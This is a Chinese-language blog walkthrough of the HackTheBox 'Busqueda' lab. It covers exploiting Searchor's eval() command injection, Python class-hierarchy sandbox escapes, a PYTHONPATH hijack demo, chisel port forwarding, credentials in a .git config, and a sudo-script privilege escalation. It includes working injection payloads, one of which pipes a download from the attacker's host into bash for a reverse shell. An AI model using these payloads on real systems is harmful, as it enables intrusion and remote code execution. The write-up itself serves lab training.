HTB-Busqueda

OverView

好久没有更新了,最近都在忙着打比赛。太忙了。深深体会到了选择大于努力的道理。这是 Easy 难度的 Linux 靶机,但是在第一个突破点还是卡了好久。

Useful Skills and Tools

PYTHONPATH

虽然这里用不到,但是当时想用的时候忘记了。这里再重新记录一下。

PYTHONPATH is a special environment variable that provides guidance to the Python interpreter about where to find various libraries and applications.

默认情况下 PYTHONPATH 未指定,运行 Python 文件会在 /usr/lib/python3版本号 这个目录下寻找引入的模块。当然我们也可以手动指定。比如在 ~ 目录下编写一个 a.py

import requests
requests.get('http://www.google.com')

如果我们在/tmp 目录下写下一个 requests.py 文件如下:

import os
def get(a):
    os.system("wireshark")

此时运行

$ export PYTHONPATH=/tmp
$ python3 a.py

不用怀疑,将会弹出 wireshark

Enumeration

Nmap

sudo nmap -sCVS -T5 10.10.11.208 -Pn -p- -oA -v target

输出内容如下:

# Nmap 7.93 scan initiated Fri Apr 14 09:55:00 2023 as: nmap -sCVS -T5 -Pn -p- -v -oN target 10.10.11.208
Warning: 10.10.11.208 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.208
Host is up (0.29s latency).
Not shown: 65516 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp    open     http    Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
5886/tcp  filtered unknown
6296/tcp  filtered unknown
13921/tcp filtered unknown
18982/tcp filtered unknown
21335/tcp filtered unknown
26376/tcp filtered unknown
26595/tcp filtered unknown
34696/tcp filtered unknown
35373/tcp filtered unknown
35409/tcp filtered unknown
41760/tcp filtered unknown
43115/tcp filtered unknown
44731/tcp filtered unknown
45907/tcp filtered unknown
46704/tcp filtered unknown
48792/tcp filtered unknown
49335/tcp filtered unknown
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr 14 10:07:26 2023 -- 1 IP address (1 host up) scanned in 746.54 seconds

只开放了两个有用的端口。直接看 Web 服务吧。

HTTP

主要有一个功能,就是选择搜索引擎,选择要搜索的内容,然后将内容提交给搜索引擎完成。是一个集成了多个搜索引擎的服务。

vmware_ARHM8zp7eB

这里可以注意到使用了 Searchor 2.4.0 这个组件,稍微查询一下就可以发现存在命令注入 https://security.snyk.io/package/pip/searchor

可以看到 2.4.2 版本对 2.4.0 版本的代码修改如下

chrome_zL8EMOPvxq

将原本用 eval 操作的 search 方法给修复了

   url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

而我们抓取的应用数据包也正好对应的是 enginequery 两个参数

vmware_sBRpkc7kty

并且通过响应头我们可以 Server 字段 Server: Werkzeug/2.1.2 Python/3.10.6

接下来就是想办法怎么利用这个 search 函数

Command Inject

我去 https://github.com/ArjunSharda/Searchor 下载了部分源码,可以发现 Engine 是一个类,继承了父类 Enum。

pycharm64_jTe2MJjO01

这里的命令注入本来可以使用下面提到的两种方法,但因为后端限制了导致第一种办法不能实现(卡了好久,我后面会提到)

FirstWay – Magic function

既然 Engine 是类,我们不难想到可以借助我们在 SSTI 下的那些操作。找到相关的可执行方法。

Payload 构造过程如下:

  • __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
# 因为我记得只有当 class 是 Object 的时候比较好构造命令执行


print(Engine.__class__)
<class 'enum.EnumMeta'>
  • __bases__:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。
print(Engine.__class__.__bases__)
(<class 'type'>,)

print(Engine.__class__.__bases__[0].__bases__[0])
(<class 'object'>,) 
# OK 终于是 object 了
# 这个时候我们就可以找子类,明显 object 是所有类的父类
  • __subclass__():查看当前类的子类组成的列表
print(Engine.__class__.__bases__[0].__bases__[0].__subclasses__())
# 输出内容很多,为了方便查找,我采用循环的方式

代码如下:

if __name__ == '__main__':
    j = 0
    for i in Engine.__class__.__bases__[0].__bases__[0].__subclasses__():
        print(j)
        print(i)
        j = j + 1

参考 https://xz.aliyun.com/t/11090#toc-1 可知几个含有 eval 函数的类有

warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
etc.

我这里找到了索引为 181 <class 'warnings.catch_warnings'>

  • __init__ : 初始化类,返回的类型是function
print(Engine.__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__)
<function catch_warnings.__init__ at 0x0000015B0CBE5280>
  • __globals__: 使用方式是 函数名.__globals__获取 function 所处空间下可使用的 module、方法以及所有变量。
    for i in Engine.__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__:
        print(i)

可以发现很多东西

pycharm64_oLDk9VFqeC

  • __builtins__:以一个集合的形式查看引用。builtins 是 python 中的一个模块。该模块提供对 Python 的所有“内置”标识符的直接访问;例如,builtins.open 是内置函数的全名 open() 。
 for i in Engine.__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__['__builtins__']:
        print(i)

运行后就可以发现我们的 eval 和 exec 函数了

  • __import__():该方法用于动态加载类和函数 。

也就构造出 Payload:

__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('calc')")#

当然需要 URL 编码:将引号和一些特殊字符编码了

engine=__class__.__bases__[0].__bases__[0].__subclasses__()[181].__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27calc%27)%22)%23&query=test

并且写了个本地应用进行测试,如下 app.py

from flask import Flask, render_template, request, redirect
from enum import Enum, unique

app = Flask(__name__)

@unique
class Engine(Enum):
    Accuweather = "https://www.accuweather.com/en/search-locations?query={query}"
    AlternativeTo = "https://alternativeto.net/browse/search/?q={query}"
    Amazon = "https://www.amazon.com/s?k={query}"
    # ...

    def new(engine_name, base_url):
        extend_enum(Engine, engine_name, base_url + "{query}")

    def search(self, query, open_web=False, copy_url=False, additional_queries: dict = None):
        url = self.value.format(query=quote(query, safe=""))
        if additional_queries:
            url += ("?" if "?" not in self.value.split("/")[-1] else "&") + "&".join(
                query + "=" + quote(query_val)
                for query, query_val in additional_queries.items()
            )
        if open_web is True:
            open_new_tab(url)

        if copy_url is True:
            copy(url)

        return url

@app.route('/test', methods=['GET','POST'])
def test():
    engine = request.form['engine']
    query = request.form['query']
    print(engine)
    print(query)
    copy = False
    open = False
    payload = f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
    print(payload)
    url = eval(
        payload
    )


if __name__ == '__main__':
    app.run(debug=False)

但是在目标机器上怎么也打不通,只能使用第二种方法

SecondWay – “+”

Payload 如下:

engine=Bing&query=x%27%2beval(%22__import__(%27os%27).popen(%27calc%27).read()%22)%2b%27

eval 执行的内容是

Engine.Bing.search('x'+eval("__import__('os').popen('calc').read()")+'', copy_url=False, open_web=False)

通过 +'可以看到刚好闭合了 search 方法的第一个字符串参数,并又执行了一次 eval 函数。eval 是可以嵌套使用的,并且还可以执行代码对象

该函数还可用于执行任意代码对象(比如由 compile() 创建的对象)。 这时传入的是代码对象,而非一个字符串了

最终用

engine=Bing&query=x%27%2beval(%22__import__(%27os%27).popen(%27curl%2010.10.14.26/a%7cbash%27).read()%22)%2b%27

第二种方式打通了

FootHold

接收到反弹 shell 第一步的操作就是,看看有没有 Python3,然后一套行云流水获得比较完美的 shell

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg       

读取了 app.py 后才知道原来对 Engine.__members__ 进行了检验,只有符合的才执行 search 方法

@app.route('/search', methods=['POST'])
def search():
    try:
        engine = request.form.get('engine')
        query = request.form.get('query')
        auto_redirect = request.form.get('auto_redirect')

        if engine in Engine.__members__.keys():
            arg_list = ['searchor', 'search', engine, query]
            r = subprocess.run(arg_list, capture_output=True)
            url = r.stdout.strip().decode()
            if auto_redirect is not None:
                return redirect(url, code=302)

可以发现 5000 端口和 3000 端口在监听

vmware_hQQ89yKjV0

gitea site

读取了 /etc/apache2/sites-enabled 下的配置文件,可以发现 3000 端口是运行着 gitea.searcher.htb

svc@busqueda:/etc/apache2/sites-enabled$ ls
000-default.conf
svc@busqueda:/etc/apache2/sites-enabled$ cat 000-default.conf 
<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName searcher.htb
        ServerAdmin [email protected]
        ProxyPass / http://127.0.0.1:5000/
        ProxyPassReverse / http://127.0.0.1:5000/

        RewriteEngine On
        RewriteCond %{HTTP_HOST} !^searcher.htb$
        RewriteRule /.* http://searcher.htb/ [R]

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

<VirtualHost *:80>
        ProxyPreserveHost On
        ServerName gitea.searcher.htb
        ServerAdmin [email protected]
        ProxyPass / http://127.0.0.1:3000/
        ProxyPassReverse / http://127.0.0.1:3000/

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

使用 chisel 工具将 3000 端口转发:

服务端(kali):

./chisel server --reverse --port 9999

目标靶机上:

./chisel client 10.10.14.26:9999 R:3000:127.0.0.1:3000

访问以后发现 Gitea Version 为 1.18.0

vmware_9SI9l9AMjk

找不到什么漏洞。

Git Message

但是在 /var/www/app 目录下发现了 .git 目录

vmware_2hkQiw0n8Q

读取该目录下的 config 文件

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:[email protected]/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

得到了登录 gitea 的用户和密码,能够但是并没有什么用。用密码试一下 sudo -l 发现成功了

vmware_rbL4kNL2GT

Privilege escalation

执行 sudo /usr/bin/python3 /opt/scripts/system-checkup.py * 发现如下信息。

vmware_rCBNPNrS4a

经过测试发现,运行脚本使用 docker ps 参数就是执行 docker ps 命令,使用 docker-inspect 不知道是什么。使用 full-checkup 似乎是执行full-checkup.sh 的内容,因为权限不够读取,无法得知。

root

最终提权是在家目录下创建一个 full-checkup.sh 写下反弹 shell 的命令然后执行

sudo /opt/scripts/system-checkup.py full-checkup 即可

就不放过程了。

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇